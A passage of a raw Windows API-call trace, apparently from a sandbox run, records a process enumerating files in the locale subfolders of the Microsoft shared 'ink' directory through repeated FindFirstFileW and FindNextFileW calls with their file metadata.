dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.183] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e316e09, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e316e09, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e316e09, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0136.183] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e316e09, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e316e09, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e316e09, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0136.183] FindClose (in: hFindFile=0x69b208 | out: hFindFile=0x69b208) returned 1 [0136.183] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3db0098 | out: hHeap=0x5a0000) returned 1 [0136.183] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0136.183] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\*", lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69ae48 [0136.183] FindNextFileW (in: hFindFile=0x69ae48, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.183] FindNextFileW (in: hFindFile=0x69ae48, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0136.183] FindNextFileW (in: hFindFile=0x69ae48, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0136.183] FindClose (in: hFindFile=0x69ae48 | out: hFindFile=0x69ae48) returned 1 [0136.183] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3db0098 | out: hHeap=0x5a0000) returned 1 [0136.183] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0136.184] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\*", lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69b188 [0136.186] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.186] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0136.186] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0136.186] FindClose (in: hFindFile=0x69b188 | out: hFindFile=0x69b188) returned 1 [0136.187] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3db0098 | out: hHeap=0x5a0000) returned 1 [0136.187] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0136.187] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\*", lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69b288 [0136.187] FindNextFileW (in: hFindFile=0x69b288, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.187] FindNextFileW (in: hFindFile=0x69b288, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0136.187] FindNextFileW (in: hFindFile=0x69b288, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0136.187] FindClose (in: hFindFile=0x69b288 | out: hFindFile=0x69b288) returned 1 [0136.187] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3db0098 | out: hHeap=0x5a0000) returned 1 [0136.188] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0136.188] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\*", lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69b208 [0136.188] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.188] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0136.188] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0136.188] FindClose (in: hFindFile=0x69b208 | out: hFindFile=0x69b208) returned 1 [0136.188] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3db0098 | out: hHeap=0x5a0000) returned 1 [0136.188] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x2e4f308 | out: lpFindFileData=0x2e4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0136.188] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69b088 [0136.248] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.250] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a3b058, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a3b058, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1b2d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0136.250] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xbf28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0136.250] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb61e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0136.250] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x148de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0136.250] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2bfcc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0136.250] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x32e18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0136.251] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da3ec5f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7bf3d600, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0136.251] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0136.251] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0136.251] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0136.251] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0136.251] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1af9c24, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1af9c24, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x30d3a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="join.avi", cAlternateFileName="")) returned 1 [0136.251] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0136.251] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0136.251] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0136.251] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0136.251] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0136.251] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2c6cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="split.avi", cAlternateFileName="")) returned 1 [0136.251] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: lpFindFileData=0x2e4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0136.251] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f08c | out: 